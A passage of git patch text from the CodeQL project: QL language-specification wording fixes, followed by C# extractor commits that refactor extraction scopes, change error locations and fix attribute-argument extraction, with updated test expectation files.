usin QLDoc ----- -QLDoc is used for documenting ql entities and bindings. QLDoc that is used as part of the +QLDoc is used for documenting QL entities and bindings. QLDoc that is used as part of the declaration is said to be declared. Ambiguous QLDoc -~~~~~~~~~~~ +~~~~~~~~~~~~~~~ -If QLDoc could be parsed as part a file module or as part of the first declaration in the file then +If QLDoc can be parsed as part of a file module or as part of the first declaration in the file then it is parsed as part of the first declaration. Inheriting QLDoc -~~~~~~~~~~~ +~~~~~~~~~~~~~~~~ -If no qldoc is provided then in may be inherited. +If no QLDoc is provided then it may be inherited. -In the case of an alias then it may be inherited from the right-hand-side of the alias. +In the case of an alias then it may be inherited from the right-hand side of the alias. -In the case of a member predicate we collect all member predicates that it overrides with declared QLDoc. Then if there is a member predicate in that collection that -that overrides every other member predicate in that collection then the QLDoc of that member predicate is used as the QLDoc. +In the case of a member predicate we collect all member predicates that it overrides with declared QLDoc. If there is a member predicate in that collection that +overrides every other member predicate in that collection, then the QLDoc of that member predicate is used as the QLDoc. -In the case of a field we collect all fields that it overrides with declared QLDoc. Then if there is a field in that collection that -that overrides every other field in that collection then its QLDoc of that field used as the QLDoc. +In the case of a field we collect all fields that it overrides with declared QLDoc. If there is a field in that collection that +overrides every other field in that collection, then the QLDoc of that field is used as the QLDoc. Content ~~~~~~~ @@ -791,12 +791,12 @@ The content of a QLDoc comment is interpreted as `CommonMark <https://commonmark The content of a QLDoc comment may contain metadata tags as follows: -The tag begins with any number of whitespace characters, followed by an '@' sign. At this point there may be any number of non-whitespace characters, which form the key of the tag. Then, a single whitespace character which separates the key from the value. The value of the tag is formed by the remainder of the line, and any subsequent lines until another '@' tag is seen, or the end of the content is reached. Any sequence of consecutive whitespace characters in the value are replaced by a single space. +The tag begins with any number of whitespace characters, followed by an ``@`` sign. At this point there may be any number of non-whitespace characters, which form the key of the tag. Then, a single whitespace character which separates the key from the value. The value of the tag is formed by the remainder of the line, and any subsequent lines until another ``@`` tag is seen, or the end of the content is reached. Any sequence of consecutive whitespace characters in the value are replaced by a single space. Metadata ~~~~~~~~ -If the query file starts with whitespace followed by a qldoc comment then the tags from that qldoc comment form the query metadata. +If the query file starts with whitespace followed by a QLDoc comment, then the tags from that QLDoc comment form the query metadata. Top-level entities ------------------ @@ -929,11 +929,11 @@ Fields A field declaration introduces a mapping from the field name to the field declaration in the class's declared field environment. -A field ``f`` with enclosing class ``C`` *overrides* a field ``f'`` with enclosing class ``D`` when ``f`` is annotated override, ``C`` inherits from ``D``, ``p'`` is visible in ``C``, and both ``p`` and ``p'`` have the same name. +A field ``f`` with enclosing class ``C`` *overrides* a field ``f'`` with enclosing class ``D`` when ``f`` is annotated ``override``, ``C`` inherits from ``D``, ``p'`` is visible in ``C``, and both ``p`` and ``p'`` have the same name. A valid class may not inherit from two different classes that include a field with the same name, unless either one of the fields overrides the other, or the class defines a field that overrides both of them. -A valid field must override another field if it is annotated override. +A valid field must override another field if it is annotated ``override``. When field ``f`` overrides field ``g`` the type of ``f`` must be a subtype of the type of ``g``. ``f`` may not be a final field. @@ -1173,12 +1173,12 @@ A valid call with results *resolves* to a set of predicates. The ways a call can - If the call has a super expression as the receiver, then it resolves to a member predicate in a class the enclosing class inherits from. If the super expression is unqualified, then the super-class is the single class that the current class inherits from. If there is not exactly one such class, then the program is invalid. Otherwise the super-class is the class named by the qualifier of the super expression. The predicate is resolved by looking up its name and arity in the exported predicate environment of the super-class. -- If the type of the receiver is the same as the the enclosing class the predicate is resolved by looking up its name and arity in the ``visible`` predicate environment of the class. +- If the type of the receiver is the same as the enclosing class, the predicate is resolved by looking up its name and arity in the visible predicate environment of the class. -- If the type of the receiver is not the same as the the enclosing class the predicate is resolved by looking up its name and arity in the ``exported`` predicate environment of the class or domain type. +- If the type of the receiver is not the same as the enclosing class, the predicate is resolved by looking up its name and arity in the exported predicate environment of the class or domain type. -If all the predicates that the call resolves to are declared on a primitive type we then restrict to the set of predicates where each argument of the call is a subtype of the corresponding predicate argument type. -Then we find all predicates ``p`` from this new set such that there is not another predicate ``p'``where each argument of ``p'`` is a subtype of the corresponding argument in ``p``. We then say the call resolves to this set instead. +If all the predicates that the call resolves to are declared on a primitive type, we then restrict to the set of predicates where each argument of the call is a subtype of the corresponding predicate argument type. +Then we find all predicates ``p`` from this new set such that there is not another predicate ``p'`` where each argument of ``p'`` is a subtype of the corresponding argument in ``p``. We then say the call resolves to this set instead. A valid call must only resolve to a single predicate. @@ -1194,7 +1194,7 @@ If the resolved predicate is built in, then the call may not include a closure. - The number 1 if the predicate has a result, otherwise 0. -If the call includes a closure then all declared predicate arguments, the enclosing type of the declaration if it exists and the result type of the declaration if it exists must be compatible. If one of those types is a subtype of ``int`` all the other arguments must be a subtype of ``int``. +If the call includes a closure, then all declared predicate arguments, the enclosing type of the declaration (if it exists), and the result type of the declaration (if it exists) must be compatible. If one of those types is a subtype of ``int``, then all the other arguments must be a subtype of ``int``. If the call resolves to a member predicate, then the *receiver values* are as follows. If the call has a receiver, then the receiver values are the values of that receiver. If the call does not have a receiver, then the single receiver value is the value of ``this`` in the contextual named tuple. @@ -1352,7 +1352,8 @@ The grammar given in this section is disambiguated first by precedence, and seco - binary ``+`` and ``-`` Whenever a sequence of tokens can be interpreted either as a call to a predicate with result (with specified closure), or as a binary operation with operator ``+`` or ``*``, the syntax is interpreted as a call to a predicate with result. -Whenever a sequence of tokens can be interpreted either as either arithmetic with a parenthesized variable or a prefix cast of a unary operation the syntax is interpreted as a cast. + +Whenever a sequence of tokens can be interpreted either as arithmetic with a parenthesized variable or as a prefix cast of a unary operation, the syntax is interpreted as a cast. Formulas -------- @@ -1948,16 +1949,18 @@ The store is first initialized with the *database content* of all built-in predi Each layer of the stratification is *populated* in order. To populate a layer, each predicate in the layer is repeatedly populated until the store stops changing. The way that a predicate is populated is as follows: -- To populate a predicate that has a formula as a body, find all named tuples with identify each named tuple ``t`` that has the following properties: - - The tuple matches the body formula. - - The variables should be the predicate's arguments. - - If the predicate has a result, then the tuples should additionally have a value for ``result`` - - If the predicate is a member predicate or characteristic predicate of a class ``C`` then the tuples should additionally have a value for ``this`` and each visible field on the class. - - The values corresponding to the arguments should all be a member of the declared types of the arguments. - - The values corresponding to ``result`` should all be a member of the result type. - - The values corresponding to the fields should all be a member of the declared types of the fields. - - If the predicate is a member predicate of a class ``C`` and not a characteristic predicate, then the tuples should additionally extend some tuple in ``C.class``. - - If the predicate is a characteristic predicate of a class ``C``, then there should be a tuple ``t'``in ``C.extends`` such that for each visible field in ``C`` any field that is equal to or overrides a field in that ``t'`` should have the same value in ``t``. ``this`` should also map to the same value in ``t`` and ``t``. +- To populate a predicate that has a formula as a body, find each named tuple ``t`` that has the following properties: + + - The tuple matches the body formula. + - The variables should be the predicate's arguments. + - If the predicate has a result, then the tuples should additionally have a value for ``result``. + - If the predicate is a member predicate or characteristic predicate of a class ``C`` then the tuples should additionally have a value for ``this`` and each visible field on the class. + - The values corresponding to the arguments should all be a member of the declared types of the arguments. + - The values corresponding to ``result`` should all be a member of the result type. + - The values corresponding to the fields should all be a member of the declared types of the fields. + - If the predicate is a member predicate of a class ``C`` and not a characteristic predicate, then the tuples should additionally extend some tuple in ``C.class``. + - If the predicate is a characteristic predicate of a class ``C``, then there should be a tuple ``t'`` in ``C.extends`` such that for each visible field in ``C``, any field that is equal to or overrides a field in ``t'`` should have the same value in ``t``. ``this`` should also map to the same value in ``t`` and ``t'``. + For each such tuple remove any components that correspond to fields and add it to the predicate in the store. - To populate an abstract predicate, do nothing. @@ -1965,21 +1968,23 @@ Each layer of the stratification is *populated* in order. To populate a layer, e - The population of predicates with a higher-order body is left only partially specified. A number of tuples are added to the given predicate in the store. The tuples that are added must be fully determined by the QL program and by the state of the store. - To populate the type ``C.extends`` for a class ``C``, identify each named tuple that has the following properties: + - The value of ``this`` is in all non-class base types of ``C``. - The keys of the tuple are ``this`` and the union of the public fields from each base type. - - For each class base type ``B`` of ``C`` there is a named tuple with with variables from the public fields of ``B`` and ``this`` that is the given tuple and some tuple in ``B.B`` both extend. + - For each class base type ``B`` of ``C`` there is a named tuple with variables from the public fields of ``B`` and ``this`` that the given tuple and some tuple in ``B.B`` both extend. + For each such tuple add it to ``C.extends``. -- To populate the type ``C.C`` for a class ``C``, if ``C`` has a characteristic predicate, then add all tuples from that predicate to the store. - Otherwise add all tuples ``t`` such that: - - The variables of ``t`` should be ``this`` and the visible fields of ``C``. - - The values corresponding to the fields should all be a member of the declared types of the fields. - - If the predicate is a characteristic predicate of a class ``C``, then there should be a tuple ``t'``in ``C.extends`` such that for each visible field in ``C`` any field that is equal to or overrides a field in that ``t'`` should have the same value in ``t``. ``this`` should also map to the same value in ``t`` and ``t``. +- To populate the type ``C.C`` for a class ``C``, if ``C`` has a characteristic predicate, then add all tuples from that predicate to the store. Otherwise add all tuples ``t`` such that: + + - The variables of ``t`` should be ``this`` and the visible fields of ``C``. + - The values corresponding to the fields should all be a member of the declared types of the fields. + - If the predicate is a characteristic predicate of a class ``C``, then there should be a tuple ``t'`` in ``C.extends`` such that for each visible field in ``C``, any field that is equal to or overrides a field in ``t'`` should have the same value in ``t``. ``this`` should also map to the same value in ``t`` and ``t'``. - To populate the type ``C.class`` for a non-abstract class type ``C``, add each tuple in ``C.C`` to ``C.class``. - To populate the type ``C.class`` for an abstract class type ``C``, identify each named tuple that has the following properties: - - It is a member of ``C.C`` + - It is a member of ``C.C``. - For each class ``D`` that has ``C`` as a base type then there is a named tuple with variables from the public fields of ``C`` and ``this`` that the given tuple and a tuple in ``D.class`` both extend. From 6d95ad32824fbaadeeb75668a3d199b65a9742f7 Mon Sep 17 00:00:00 2001 From: Tamas Vajk <tamasvajk@github.com> Date: Wed, 6 Jan 2021 14:01:25 +0100 Subject: [PATCH 0436/1241] C#: Add file instead of generated location for extraction errors when possible --- .../Semmle.Extraction/AssemblyScope.cs | 30 +++++++ csharp/extractor/Semmle.Extraction/Context.cs | 16 +++- .../Entities/ExtractionError.cs | 2 +- .../Semmle.Extraction/Entities/Location.cs | 10 +++ .../Semmle.Extraction/ExtractionScope.cs | 78 ------------------- .../Semmle.Extraction/IExtractionScope.cs | 30 +++++++ .../Semmle.Extraction/SourceScope.cs | 27 +++++++ 7 files changed, 111 insertions(+), 82 deletions(-) create mode 100644 csharp/extractor/Semmle.Extraction/AssemblyScope.cs delete mode 100644 csharp/extractor/Semmle.Extraction/ExtractionScope.cs create mode 100644 csharp/extractor/Semmle.Extraction/IExtractionScope.cs create mode 100644 csharp/extractor/Semmle.Extraction/SourceScope.cs diff --git a/csharp/extractor/Semmle.Extraction/AssemblyScope.cs b/csharp/extractor/Semmle.Extraction/AssemblyScope.cs new file mode 100644 index 00000000000..b2c947dea83 --- /dev/null +++ b/csharp/extractor/Semmle.Extraction/AssemblyScope.cs @@ -0,0 +1,30 @@ +using Microsoft.CodeAnalysis; + +namespace Semmle.Extraction +{ + /// <summary> + /// The scope of symbols in an assembly. + /// </summary> + public class AssemblyScope : IExtractionScope + { + private readonly IAssemblySymbol assembly; + private readonly string filepath; + + public AssemblyScope(IAssemblySymbol symbol, string path, bool isOutput) + { + assembly = symbol; + filepath = path; + IsGlobalScope = isOutput; + } + + public bool IsGlobalScope { get; } + + public bool InFileScope(string path) => path == filepath; + + public bool InScope(ISymbol symbol) => + SymbolEqualityComparer.Default.Equals(symbol.ContainingAssembly, assembly) || + SymbolEqualityComparer.Default.Equals(symbol, assembly); + + public bool FromSource => false; + } +} diff --git a/csharp/extractor/Semmle.Extraction/Context.cs b/csharp/extractor/Semmle.Extraction/Context.cs index d6b67bb9af1..af254c817a3 100644 --- a/csharp/extractor/Semmle.Extraction/Context.cs +++ b/csharp/extractor/Semmle.Extraction/Context.cs @@ -215,7 +215,7 @@ namespace Semmle.Extraction } catch (Exception ex) // lgtm[cs/catch-of-all-exceptions] { - ExtractionError("Uncaught exception", ex.Message, GeneratedLocation.Create(this), ex.StackTrace); + ExtractionError("Uncaught exception", ex.Message, Entities.Location.Create(this), ex.StackTrace); } } } @@ -250,6 +250,8 @@ namespace Semmle.Extraction private IExtractionScope scope { get; } + public SyntaxTree? SourceTree => scope is SourceScope sc ? sc.SourceTree : null; + /// <summary> /// Whether the given symbol needs to be defined in this context. /// This is the case if the symbol is contained in the source/assembly, or @@ -451,7 +453,7 @@ namespace Semmle.Extraction } else { - ExtractionError(message, "", GeneratedLocation.Create(this)); + ExtractionError(message, "", Entities.Location.Create(this)); } } @@ -522,13 +524,21 @@ namespace Semmle.Extraction Message message; if (node != null) + { message = Message.Create(context, ex.Message, node, ex.StackTrace); + } else if (symbol != null) + { message = Message.Create(context, ex.Message, symbol, ex.StackTrace); + } else if (ex is InternalError ie) + { message = new Message(ie.Text, ie.EntityText, Entities.Location.Create(context, ie.Location), ex.StackTrace); + } else - message = new Message("Uncaught exception", ex.Message, GeneratedLocation.Create(context), ex.StackTrace); + { + message = new Message("Uncaught exception", ex.Message, Entities.Location.Create(context), ex.StackTrace); + } context.ExtractionError(message); } diff --git a/csharp/extractor/Semmle.Extraction/Entities/ExtractionError.cs b/csharp/extractor/Semmle.Extraction/Entities/ExtractionError.cs index 74bc41fa957..82257513260 100644 --- a/csharp/extractor/Semmle.Extraction/Entities/ExtractionError.cs +++ b/csharp/extractor/Semmle.Extraction/Entities/ExtractionError.cs @@ -14,7 +14,7 @@ namespace Semmle.Extraction.Entities protected override void Populate(TextWriter trapFile) { - trapFile.extractor_messages(this, msg.Severity, "C# extractor", msg.Text, msg.EntityText, msg.Location ?? GeneratedLocation.Create(cx), msg.StackTrace); + trapFile.extractor_messages(this, msg.Severity, "C# extractor", msg.Text, msg.EntityText, msg.Location ?? Location.Create(cx), msg.StackTrace); } public override TrapStackBehaviour TrapStackBehaviour => TrapStackBehaviour.NoLabel; diff --git a/csharp/extractor/Semmle.Extraction/Entities/Location.cs b/csharp/extractor/Semmle.Extraction/Entities/Location.cs index 354caaa65d9..1c3152d27c8 100644 --- a/csharp/extractor/Semmle.Extraction/Entities/Location.cs +++ b/csharp/extractor/Semmle.Extraction/Entities/Location.cs @@ -1,4 +1,6 @@ +using Microsoft.CodeAnalysis.Text; + namespace Semmle.Extraction.Entities { public abstract class Location : CachedEntity<Microsoft.CodeAnalysis.Location?> @@ -13,6 +15,14 @@ namespace Semmle.Extraction.Entities ? NonGeneratedSourceLocation.Create(cx, loc) : Assembly.Create(cx, loc); + public static Location Create(Context cx) + { + return cx.SourceTree == null + ? GeneratedLocation.Create(cx) + : Create(cx, Microsoft.CodeAnalysis.Location.Create(cx.SourceTree, TextSpan.FromBounds(0, 0))); + + } + public override Microsoft.CodeAnalysis.Location? ReportingLocation => symbol; public override TrapStackBehaviour TrapStackBehaviour => TrapStackBehaviour.OptionalLabel; diff --git a/csharp/extractor/Semmle.Extraction/ExtractionScope.cs b/csharp/extractor/Semmle.Extraction/ExtractionScope.cs deleted file mode 100644 index 7f70284c278..00000000000 --- a/csharp/extractor/Semmle.Extraction/ExtractionScope.cs +++ /dev/null @@ -1,78 +0,0 @@ -using Microsoft.CodeAnalysis; -using System.Linq; - -namespace Semmle.Extraction -{ - /// <summary> - /// Defines which entities belong in the trap file - /// for the currently extracted entity. This is used to ensure that - /// trap files do not contain redundant information. Generally a symbol - /// should have an affinity with exactly one trap file, except for constructed - /// symbols. - /// </summary> - public interface IExtractionScope - { - /// <summary> - /// Whether the given symbol belongs in the trap file. - /// </summary> - /// <param name="symbol">The symbol to populate.</param> - bool InScope(ISymbol symbol); - - /// <summary> - /// Whether the given file belongs in the trap file. - /// </summary> - /// <param name="path">The path to populate.</param> - bool InFileScope(string path); - - bool IsGlobalScope { get; } - - bool FromSource { get; } - } - - /// <summary> - /// The scope of symbols in an assembly. - /// </summary> - public class AssemblyScope : IExtractionScope - { - private readonly IAssemblySymbol assembly; - private readonly string filepath; - - public AssemblyScope(IAssemblySymbol symbol, string path, bool isOutput) - { - assembly = symbol; - filepath = path; - IsGlobalScope = isOutput; - } - - public bool IsGlobalScope { get; } - - public bool InFileScope(string path) => path == filepath; - - public bool InScope(ISymbol symbol) => - SymbolEqualityComparer.Default.Equals(symbol.ContainingAssembly, assembly) || - SymbolEqualityComparer.Default.Equals(symbol, assembly); - - public bool FromSource => false; - } - - /// <summary> - /// The scope of symbols in a source file. - /// </summary> - public class SourceScope : IExtractionScope - { - private readonly SyntaxTree sourceTree; - - public SourceScope(SyntaxTree tree) - { - sourceTree = tree; - } - - public bool IsGlobalScope => false; - - public bool InFileScope(string path) => path == sourceTree.FilePath; - - public bool InScope(ISymbol symbol) => symbol.Locations.Any(loc => loc.SourceTree == sourceTree); - - public bool FromSource => true; - } -} diff --git a/csharp/extractor/Semmle.Extraction/IExtractionScope.cs b/csharp/extractor/Semmle.Extraction/IExtractionScope.cs new file mode 100644 index 00000000000..43a58a88e51 --- /dev/null +++ b/csharp/extractor/Semmle.Extraction/IExtractionScope.cs @@ -0,0 +1,30 @@ +using Microsoft.CodeAnalysis; + +namespace Semmle.Extraction +{ + /// <summary> + /// Defines which entities belong in the trap file + /// for the currently extracted entity. This is used to ensure that + /// trap files do not contain redundant information. Generally a symbol + /// should have an affinity with exactly one trap file, except for constructed + /// symbols. + /// </summary> + public interface IExtractionScope + { + /// <summary> + /// Whether the given symbol belongs in the trap file. + /// </summary> + /// <param name="symbol">The symbol to populate.</param> + bool InScope(ISymbol symbol); + + /// <summary> + /// Whether the given file belongs in the trap file. + /// </summary> + /// <param name="path">The path to populate.</param> + bool InFileScope(string path); + + bool IsGlobalScope { get; } + + bool FromSource { get; } + } +} diff --git a/csharp/extractor/Semmle.Extraction/SourceScope.cs b/csharp/extractor/Semmle.Extraction/SourceScope.cs new file mode 100644 index 00000000000..107db83a146 --- /dev/null +++ b/csharp/extractor/Semmle.Extraction/SourceScope.cs @@ -0,0 +1,27 @@ +using Microsoft.CodeAnalysis; +using System.Linq; + +namespace Semmle.Extraction +{ + + /// <summary> + /// The scope of symbols in a source file. + /// </summary> + public class SourceScope : IExtractionScope + { + public SyntaxTree SourceTree { get; } + + public SourceScope(SyntaxTree tree) + { + SourceTree = tree; + } + + public bool IsGlobalScope => false; + + public bool InFileScope(string path) => path == SourceTree.FilePath; + + public bool InScope(ISymbol symbol) => symbol.Locations.Any(loc => loc.SourceTree == SourceTree); + + public bool FromSource => true; + } +} From 44372f4db7ef6abcc1eb193aa969ba5823c87f29 Mon Sep 17 00:00:00 2001 From: Tamas Vajk <tamasvajk@github.com> Date: Mon, 4 Jan 2021 14:14:57 +0100 Subject: [PATCH 0437/1241] C#: Fix attribute argument extraction when default argument value is present --- .../Entities/Attribute.cs | 8 +- .../attributes/AttributeArguments.expected | 56 +++-- .../attributes/AttributeElements.expected | 7 +- .../attributes/PrintAst.expected | 226 ++++++++++-------- .../library-tests/attributes/attributes.cs | 7 + 5 files changed, 175 insertions(+), 129 deletions(-) diff --git a/csharp/extractor/Semmle.Extraction.CSharp/Entities/Attribute.cs b/csharp/extractor/Semmle.Extraction.CSharp/Entities/Attribute.cs index 9ef33f5ba47..159bcec5a30 100644 --- a/csharp/extractor/Semmle.Extraction.CSharp/Entities/Attribute.cs +++ b/csharp/extractor/Semmle.Extraction.CSharp/Entities/Attribute.cs @@ -66,12 +66,18 @@ namespace Semmle.Extraction.CSharp.Entities private void ExtractArguments(TextWriter trapFile) { + var ctorArguments = attributeSyntax?.ArgumentList?.Arguments.Where(a => a.NameEquals == null).ToList(); + var childIndex = 0; foreach (var constructorArgument in symbol.ConstructorArguments) { + var argSyntax = ctorArguments?.Count > childIndex + ? ctorArguments[childIndex] + : null; + CreateExpressionFromArgument( constructorArgument, - attributeSyntax?.ArgumentList.Arguments[childIndex].Expression, + argSyntax?.Expression, this, childIndex++); } diff --git a/csharp/ql/test/library-tests/attributes/AttributeArguments.expected b/csharp/ql/test/library-tests/attributes/AttributeArguments.expected index d8234457cb1..a22b4a7b32f 100644 --- a/csharp/ql/test/library-tests/attributes/AttributeArguments.expected +++ b/csharp/ql/test/library-tests/attributes/AttributeArguments.expected @@ -47,18 +47,22 @@ arguments | attributes.cs:57:6:57:16 | [My(...)] | 0 | attributes.cs:57:18:57:21 | true | | attributes.cs:57:6:57:16 | [My(...)] | 1 | attributes.cs:57:28:57:29 | "" | | attributes.cs:57:6:57:16 | [My(...)] | 2 | attributes.cs:57:36:57:36 | 0 | -| attributes.cs:76:2:76:5 | [Args(...)] | 0 | attributes.cs:76:7:76:8 | 42 | -| attributes.cs:76:2:76:5 | [Args(...)] | 1 | attributes.cs:76:11:76:14 | null | -| attributes.cs:76:2:76:5 | [Args(...)] | 2 | attributes.cs:76:17:76:25 | typeof(...) | -| attributes.cs:76:2:76:5 | [Args(...)] | 3 | attributes.cs:76:28:76:30 | access to constant A | -| attributes.cs:76:2:76:5 | [Args(...)] | 4 | attributes.cs:76:33:76:53 | array creation of type Int32[] | -| attributes.cs:76:2:76:5 | [Args(...)] | 5 | attributes.cs:76:63:76:93 | array creation of type Object[] | -| attributes.cs:79:6:79:9 | [Args(...)] | 0 | attributes.cs:79:11:79:16 | ... + ... | -| attributes.cs:79:6:79:9 | [Args(...)] | 1 | attributes.cs:79:19:79:39 | array creation of type Int32[] | -| attributes.cs:79:6:79:9 | [Args(...)] | 2 | attributes.cs:79:42:79:45 | null | -| attributes.cs:79:6:79:9 | [Args(...)] | 3 | attributes.cs:79:48:79:52 | (...) ... | -| attributes.cs:79:6:79:9 | [Args(...)] | 4 | attributes.cs:79:55:79:58 | null | -| attributes.cs:79:6:79:9 | [Args(...)] | 5 | attributes.cs:79:68:79:98 | array creation of type Object[] | +| attributes.cs:58:6:58:8 | [My2(...)] | 0 | attributes.cs:58:10:58:13 | true | +| attributes.cs:58:6:58:8 | [My2(...)] | 1 | attributes.cs:58:16:58:20 | false | +| attributes.cs:58:6:58:8 | [My2(...)] | 2 | attributes.cs:58:6:58:8 | 12 | +| attributes.cs:58:6:58:8 | [My2(...)] | 3 | attributes.cs:58:27:58:28 | 42 | +| attributes.cs:77:2:77:5 | [Args(...)] | 0 | attributes.cs:77:7:77:8 | 42 | +| attributes.cs:77:2:77:5 | [Args(...)] | 1 | attributes.cs:77:11:77:14 | null | +| attributes.cs:77:2:77:5 | [Args(...)] | 2 | attributes.cs:77:17:77:25 | typeof(...) | +| attributes.cs:77:2:77:5 | [Args(...)] | 3 | attributes.cs:77:28:77:30 | access to constant A | +| attributes.cs:77:2:77:5 | [Args(...)] | 4 | attributes.cs:77:33:77:53 | array creation of type Int32[] | +| attributes.cs:77:2:77:5 | [Args(...)] | 5 | attributes.cs:77:63:77:93 | array creation of type Object[] | +| attributes.cs:80:6:80:9 | [Args(...)] | 0 | attributes.cs:80:11:80:16 | ... + ... | +| attributes.cs:80:6:80:9 | [Args(...)] | 1 | attributes.cs:80:19:80:39 | array creation of type Int32[] | +| attributes.cs:80:6:80:9 | [Args(...)] | 2 | attributes.cs:80:42:80:45 | null | +| attributes.cs:80:6:80:9 | [Args(...)] | 3 | attributes.cs:80:48:80:52 | (...) ... | +| attributes.cs:80:6:80:9 | [Args(...)] | 4 | attributes.cs:80:55:80:58 | null | +| attributes.cs:80:6:80:9 | [Args(...)] | 5 | attributes.cs:80:68:80:98 | array creation of type Object[] | constructorArguments | Assembly1.dll:0:0:0:0 | [Custom(...)] | 0 | Assembly1.dll:0:0:0:0 | 1 | | Assembly1.dll:0:0:0:0 | [Custom(...)] | 0 | Assembly1.dll:0:0:0:0 | 3 | @@ -101,16 +105,19 @@ constructorArguments | attributes.cs:46:6:46:16 | [Conditional(...)] | 0 | attributes.cs:46:18:46:25 | "DEBUG2" | | attributes.cs:54:6:54:16 | [My(...)] | 0 | attributes.cs:54:18:54:22 | false | | attributes.cs:57:6:57:16 | [My(...)] | 0 | attributes.cs:57:18:57:21 | true | -| attributes.cs:76:2:76:5 | [Args(...)] | 0 | attributes.cs:76:7:76:8 | 42 | -| attributes.cs:76:2:76:5 | [Args(...)] | 1 | attributes.cs:76:11:76:14 | null | -| attributes.cs:76:2:76:5 | [Args(...)] | 2 | attributes.cs:76:17:76:25 | typeof(...) | -| attributes.cs:76:2:76:5 | [Args(...)] | 3 | attributes.cs:76:28:76:30 | access to constant A | -| attributes.cs:76:2:76:5 | [Args(...)] | 4 | attributes.cs:76:33:76:53 | array creation of type Int32[] | -| attributes.cs:79:6:79:9 | [Args(...)] | 0 | attributes.cs:79:11:79:16 | ... + ... | -| attributes.cs:79:6:79:9 | [Args(...)] | 1 | attributes.cs:79:19:79:39 | array creation of type Int32[] | -| attributes.cs:79:6:79:9 | [Args(...)] | 2 | attributes.cs:79:42:79:45 | null | -| attributes.cs:79:6:79:9 | [Args(...)] | 3 | attributes.cs:79:48:79:52 | (...) ... | -| attributes.cs:79:6:79:9 | [Args(...)] | 4 | attributes.cs:79:55:79:58 | null | +| attributes.cs:58:6:58:8 | [My2(...)] | 0 | attributes.cs:58:10:58:13 | true | +| attributes.cs:58:6:58:8 | [My2(...)] | 1 | attributes.cs:58:16:58:20 | false | +| attributes.cs:58:6:58:8 | [My2(...)] | 2 | attributes.cs:58:6:58:8 | 12 | +| attributes.cs:77:2:77:5 | [Args(...)] | 0 | attributes.cs:77:7:77:8 | 42 | +| attributes.cs:77:2:77:5 | [Args(...)] | 1 | attributes.cs:77:11:77:14 | null | +| attributes.cs:77:2:77:5 | [Args(...)] | 2 | attributes.cs:77:17:77:25 | typeof(...) | +| attributes.cs:77:2:77:5 | [Args(...)] | 3 | attributes.cs:77:28:77:30 | access to constant A | +| attributes.cs:77:2:77:5 | [Args(...)] | 4 | attributes.cs:77:33:77:53 | array creation of type Int32[] | +| attributes.cs:80:6:80:9 | [Args(...)] | 0 | attributes.cs:80:11:80:16 | ... + ... | +| attributes.cs:80:6:80:9 | [Args(...)] | 1 | attributes.cs:80:19:80:39 | array creation of type Int32[] | +| attributes.cs:80:6:80:9 | [Args(...)] | 2 | attributes.cs:80:42:80:45 | null | +| attributes.cs:80:6:80:9 | [Args(...)] | 3 | attributes.cs:80:48:80:52 | (...) ... | +| attributes.cs:80:6:80:9 | [Args(...)] | 4 | attributes.cs:80:55:80:58 | null | namedArguments | Assembly1.dll:0:0:0:0 | [Custom(...)] | Prop2 | Assembly1.dll:0:0:0:0 | array creation of type Object[] | | Assembly1.dll:0:0:0:0 | [Custom(...)] | Prop2 | Assembly1.dll:0:0:0:0 | array creation of type Object[] | @@ -119,5 +126,6 @@ namedArguments | attributes.cs:41:10:41:13 | [Args(...)] | Prop | attributes.cs:41:90:41:120 | array creation of type Object[] | | attributes.cs:57:6:57:16 | [My(...)] | x | attributes.cs:57:36:57:36 | 0 | | attributes.cs:57:6:57:16 | [My(...)] | y | attributes.cs:57:28:57:29 | "" | -| attributes.cs:76:2:76:5 | [Args(...)] | Prop | attributes.cs:76:63:76:93 | array creation of type Object[] | -| attributes.cs:79:6:79:9 | [Args(...)] | Prop | attributes.cs:79:68:79:98 | array creation of type Object[] | +| attributes.cs:58:6:58:8 | [My2(...)] | X | attributes.cs:58:27:58:28 | 42 | +| attributes.cs:77:2:77:5 | [Args(...)] | Prop | attributes.cs:77:63:77:93 | array creation of type Object[] | +| attributes.cs:80:6:80:9 | [Args(...)] | Prop | attributes.cs:80:68:80:98 | array creation of type Object[] | diff --git a/csharp/ql/test/library-tests/attributes/AttributeElements.expected b/csharp/ql/test/library-tests/attributes/AttributeElements.expected index 47fe8a4cef7..b9e12f35bcf 100644 --- a/csharp/ql/test/library-tests/attributes/AttributeElements.expected +++ b/csharp/ql/test/library-tests/attributes/AttributeElements.expected @@ -13,9 +13,10 @@ | attributes.cs:47:17:47:19 | foo | attributes.cs:46:6:46:16 | [Conditional(...)] | System.Diagnostics.ConditionalAttribute | | attributes.cs:52:23:52:23 | x | attributes.cs:52:14:52:16 | [Foo(...)] | Foo | | attributes.cs:55:10:55:11 | M1 | attributes.cs:54:6:54:16 | [My(...)] | MyAttribute | -| attributes.cs:58:10:58:11 | M2 | attributes.cs:57:6:57:16 | [My(...)] | MyAttribute | -| attributes.cs:77:14:77:14 | X | attributes.cs:76:2:76:5 | [Args(...)] | ArgsAttribute | -| attributes.cs:81:9:81:18 | SomeMethod | attributes.cs:79:6:79:9 | [Args(...)] | ArgsAttribute | +| attributes.cs:59:10:59:11 | M2 | attributes.cs:57:6:57:16 | [My(...)] | MyAttribute | +| attributes.cs:59:10:59:11 | M2 | attributes.cs:58:6:58:8 | [My2(...)] | My2Attribute | +| attributes.cs:78:14:78:14 | X | attributes.cs:77:2:77:5 | [Args(...)] | ArgsAttribute | +| attributes.cs:82:9:82:18 | SomeMethod | attributes.cs:80:6:80:9 | [Args(...)] | ArgsAttribute | | attributes.dll:0:0:0:0 | attributes, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null | attributes.cs:10:12:10:24 | [AssemblyTitle(...)] | System.Reflection.AssemblyTitleAttribute | | attributes.dll:0:0:0:0 | attributes, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null | attributes.cs:11:12:11:30 | [AssemblyDescription(...)] | System.Reflection.AssemblyDescriptionAttribute | | attributes.dll:0:0:0:0 | attributes, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null | attributes.cs:12:12:12:32 | [AssemblyConfiguration(...)] | System.Reflection.AssemblyConfigurationAttribute | diff --git a/csharp/ql/test/library-tests/attributes/PrintAst.expected b/csharp/ql/test/library-tests/attributes/PrintAst.expected index e42d90a89ea..7b6abd8bf88 100644 --- a/csharp/ql/test/library-tests/attributes/PrintAst.expected +++ b/csharp/ql/test/library-tests/attributes/PrintAst.expected @@ -130,118 +130,142 @@ attributes.cs: # 54| -1: [TypeMention] MyAttribute # 54| 0: [BoolLiteral] false # 55| 4: [BlockStmt] {...} -# 58| 7: [Method] 